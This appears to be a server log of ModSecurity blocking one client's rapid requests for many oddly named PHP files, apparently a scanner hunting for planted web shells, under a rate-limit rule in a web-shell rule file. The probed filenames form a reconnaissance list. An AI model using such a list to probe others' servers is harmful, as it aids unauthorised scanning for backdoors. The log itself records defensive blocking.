[Mon Feb 23 08:43:29.644202 2026] [:error] [pid 39540:tid 39583] [client 20.151.220.171:7079] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aZuisbsgm9aTWhlRScJghwAAAc4"]
[Mon Feb 23 08:43:30.067572 2026] [:error] [pid 39540:tid 39569] [client 20.151.220.171:7108] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aZuisrsgm9aTWhlRScJgiwAAAcA"]
[Mon Feb 23 08:43:30.480124 2026] [:error] [pid 39639:tid 39656] [client 20.151.220.171:7055] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aZuishpFkMoMi8uTUUP_SgAAAk0"]
[Mon Feb 23 08:43:30.902458 2026] [:error] [pid 25293:tid 25303] [client 20.151.220.171:6996] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fault.php"] [unique_id "aZuisuL9XfBf66iHi_eKrgAAAAQ"]
[Mon Feb 23 08:43:31.312493 2026] [:error] [pid 25293:tid 25320] [client 20.151.220.171:7167] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZuis-L9XfBf66iHi_eKsAAAABU"]
[Mon Feb 23 08:43:31.741034 2026] [:error] [pid 39640:tid 39674] [client 20.151.220.171:7116] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZuis9sK--eVCgzvvuciUwAAAoQ"]
[Mon Feb 23 08:43:32.152824 2026] [:error] [pid 39639:tid 39650] [client 20.151.220.171:7077] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZuitBpFkMoMi8uTUUP_TAAAAkc"]
[Mon Feb 23 08:43:32.569546 2026] [:error] [pid 39639:tid 39648] [client 20.151.220.171:7087] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/motu.php"] [unique_id "aZuitBpFkMoMi8uTUUP_TQAAAkU"]
[Mon Feb 23 08:43:33.002819 2026] [:error] [pid 25380:tid 25398] [client 20.151.220.171:7072] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aZuitaKrc8yFQ8fy78obIAAAANA"]
[Mon Feb 23 08:43:33.424799 2026] [:error] [pid 39540:tid 39579] [client 20.151.220.171:7156] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aZuitbsgm9aTWhlRScJglgAAAco"]
[Mon Feb 23 08:43:33.836154 2026] [:error] [pid 39540:tid 39581] [client 20.151.220.171:7064] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aZuitbsgm9aTWhlRScJglwAAAcw"]
[Mon Feb 23 08:43:34.256344 2026] [:error] [pid 25380:tid 25395] [client 20.151.220.171:7101] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/66.php"] [unique_id "aZuitqKrc8yFQ8fy78obJwAAAM0"]
[Mon Feb 23 08:43:34.677509 2026] [:error] [pid 25380:tid 25403] [client 20.151.220.171:7010] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aZuitqKrc8yFQ8fy78obKQAAANU"]
[Mon Feb 23 08:43:35.096551 2026] [:error] [pid 25294:tid 25354] [client 20.151.220.171:7065] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aZuityRCFB3CqIo_jfZshwAAAEo"]
[Mon Feb 23 08:43:35.513839 2026] [:error] [pid 25294:tid 25348] [client 20.151.220.171:7161] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aZuityRCFB3CqIo_jfZsiAAAAEc"]
[Mon Feb 23 08:43:35.924883 2026] [:error] [pid 25380:tid 25397] [client 20.151.220.171:7125] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/leuk.php"] [unique_id "aZuit6Krc8yFQ8fy78obMwAAAM8"]
[Mon Feb 23 08:43:36.342327 2026] [:error] [pid 25380:tid 25389] [client 20.151.220.171:7045] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aZuiuKKrc8yFQ8fy78obNAAAAMc"]
[Mon Feb 23 08:43:36.762673 2026] [:error] [pid 25380:tid 25402] [client 20.151.220.171:7085] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aZuiuKKrc8yFQ8fy78obNgAAANQ"]
[Mon Feb 23 08:43:37.183198 2026] [:error] [pid 25380:tid 25391] [client 20.151.220.171:6982] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aZuiuaKrc8yFQ8fy78obOAAAAMk"]
[Mon Feb 23 08:43:37.594430 2026] [:error] [pid 25380:tid 25397] [client 20.151.220.171:7040] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xqq.php"] [unique_id "aZuiuaKrc8yFQ8fy78obPgAAAM8"]
[Mon Feb 23 08:43:38.006717 2026] [:error] [pid 25380:tid 25391] [client 20.151.220.171:7154] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aZuiuqKrc8yFQ8fy78obQwAAAMk"]
[Mon Feb 23 08:43:38.416445 2026] [:error] [pid 39540:tid 39569] [client 20.151.220.171:6939] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aZuiursgm9aTWhlRScJgqgAAAcA"]
[Mon Feb 23 08:43:38.826217 2026] [:error] [pid 39640:tid 39673] [client 20.151.220.171:7147] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aZuiutsK--eVCgzvvucibwAAAoM"]
[Mon Feb 23 08:43:39.313027 2026] [:error] [pid 39640:tid 39675] [client 20.151.220.171:7092] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kolda.php"] [unique_id "aZuiu9sK--eVCgzvvucidAAAAoU"]
[Mon Feb 23 08:43:39.814026 2026] [:error] [pid 39540:tid 39582] [client 20.151.220.171:7080] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aZuiu7sgm9aTWhlRScJgsAAAAc0"]
[Mon Feb 23 08:43:40.303755 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:7037] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aZuivLsgm9aTWhlRScJgswAAAcY"]
[Mon Feb 23 08:43:40.899790 2026] [:error] [pid 39538:tid 39557] [client 20.151.220.171:7150] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aZuivC4Zk8-cQOG3ZnoWHwAAAY8"]
[Mon Feb 23 08:43:41.705673 2026] [:error] [pid 39540:tid 39584] [client 20.151.220.171:7012] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nw.php"] [unique_id "aZuivbsgm9aTWhlRScJgvQAAAc8"]
[Mon Feb 23 08:43:42.682580 2026] [:error] [pid 39540:tid 39593] [client 20.151.220.171:7088] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZuivrsgm9aTWhlRScJgxAAAAdg"]
[Mon Feb 23 08:43:43.135110 2026] [:error] [pid 25294:tid 25356] [client 20.151.220.171:7068] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZuivyRCFB3CqIo_jfZsjwAAAEs"]
[Mon Feb 23 08:43:43.560771 2026] [:error] [pid 25380:tid 25388] [client 20.151.220.171:7000] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZuiv6Krc8yFQ8fy78obVgAAAMY"]
[Mon Feb 23 08:43:43.977697 2026] [:error] [pid 39540:tid 39579] [client 20.151.220.171:7152] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aZuiv7sgm9aTWhlRScJgzAAAAco"]
[Mon Feb 23 08:43:44.394182 2026] [:error] [pid 39640:tid 39673] [client 20.151.220.171:7083] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aZuiwNsK--eVCgzvvuciewAAAoM"]
[Mon Feb 23 08:43:44.816184 2026] [:error] [pid 29909:tid 29923] [client 20.151.220.171:7041] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aZuiwD9oc2QzltksUk6onwAAAQw"]
[Mon Feb 23 08:43:45.236588 2026] [:error] [pid 39639:tid 39654] [client 20.151.220.171:7026] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aZuiwRpFkMoMi8uTUUP_UwAAAks"]
[Mon Feb 23 08:43:45.673230 2026] [:error] [pid 25294:tid 25354] [client 20.151.220.171:7020] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "aZuiwSRCFB3CqIo_jfZslAAAAEo"]
[Mon Feb 23 08:43:46.084979 2026] [:error] [pid 25380:tid 25384] [client 20.151.220.171:7159] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aZuiwqKrc8yFQ8fy78obZgAAAMI"]
[Mon Feb 23 08:43:46.509167 2026] [:error] [pid 39640:tid 39678] [client 20.151.220.171:6987] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aZuiwtsK--eVCgzvvucigwAAAog"]
[Mon Feb 23 08:43:46.918566 2026] [:error] [pid 29909:tid 29924] [client 20.151.220.171:7084] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aZuiwj9oc2QzltksUk6ooQAAAQ0"]
[Mon Feb 23 08:43:47.328448 2026] [:error] [pid 39640:tid 39680] [client 20.151.220.171:6913] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/un.php"] [unique_id "aZuiw9sK--eVCgzvvucijAAAAoo"]
[Mon Feb 23 08:43:47.742139 2026] [:error] [pid 39640:tid 39694] [client 20.151.220.171:7004] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aZuiw9sK--eVCgzvvucijgAAApg"]
[Mon Feb 23 08:43:48.157242 2026] [:error] [pid 39640:tid 39671] [client 20.151.220.171:7051] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aZuixNsK--eVCgzvvucikQAAAoE"]
[Mon Feb 23 08:43:48.578718 2026] [:error] [pid 39639:tid 39653] [client 20.151.220.171:7139] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aZuixBpFkMoMi8uTUUP_WAAAAko"]
[Mon Feb 23 08:43:49.007888 2026] [:error] [pid 39540:tid 39586] [client 20.151.220.171:7133] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "aZuixbsgm9aTWhlRScJg0AAAAdE"]
[Mon Feb 23 08:43:49.431076 2026] [:error] [pid 39540:tid 39591] [client 20.151.220.171:7005] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZuixbsgm9aTWhlRScJg1wAAAdY"]
[Mon Feb 23 08:43:49.852030 2026] [:error] [pid 39640:tid 39680] [client 20.151.220.171:6983] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZuixdsK--eVCgzvvucilQAAAoo"]
[Mon Feb 23 08:43:50.266761 2026] [:error] [pid 39640:tid 39685] [client 20.151.220.171:7002] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZuixtsK--eVCgzvvucimAAAAo8"]
[Mon Feb 23 08:43:50.686282 2026] [:error] [pid 39640:tid 39674] [client 20.151.220.171:7061] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms.php"] [unique_id "aZuixtsK--eVCgzvvucinAAAAoQ"]
[Mon Feb 23 08:43:51.103114 2026] [:error] [pid 25380:tid 25400] [client 20.151.220.171:7081] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login5.php"] [unique_id "aZuix6Krc8yFQ8fy78obcAAAANI"]
[Mon Feb 23 08:43:51.519808 2026] [:error] [pid 25380:tid 25395] [client 20.151.220.171:7071] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login5.php"] [unique_id "aZuix6Krc8yFQ8fy78obdQAAAM0"]
[Mon Feb 23 08:43:51.949224 2026] [:error] [pid 25380:tid 25386] [client 20.151.220.171:7047] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login5.php"] [unique_id "aZuix6Krc8yFQ8fy78obewAAAMQ"]
[Mon Feb 23 08:43:52.365429 2026] [:error] [pid 25380:tid 25394] [client 20.151.220.171:7102] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login5.php"] [unique_id "aZuiyKKrc8yFQ8fy78obgQAAAMw"]
[Mon Feb 23 08:43:52.781582 2026] [:error] [pid 25380:tid 25385] [client 20.151.220.171:7053] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aZuiyKKrc8yFQ8fy78obhgAAAMM"]
[Mon Feb 23 08:43:53.222910 2026] [:error] [pid 39540:tid 39591] [client 20.151.220.171:6978] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aZuiybsgm9aTWhlRScJg4wAAAdY"]
[Mon Feb 23 08:43:53.643356 2026] [:error] [pid 39640:tid 39681] [client 20.151.220.171:7043] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aZuiydsK--eVCgzvvucioAAAAos"]
[Mon Feb 23 08:43:54.065504 2026] [:error] [pid 25294:tid 25330] [client 20.151.220.171:6995] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cu.php"] [unique_id "aZuiyiRCFB3CqIo_jfZspgAAAEE"]
[Mon Feb 23 08:43:54.486060 2026] [:error] [pid 39640:tid 39670] [client 20.151.220.171:7015] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lul.php"] [unique_id "aZuiytsK--eVCgzvvuciowAAAoA"]
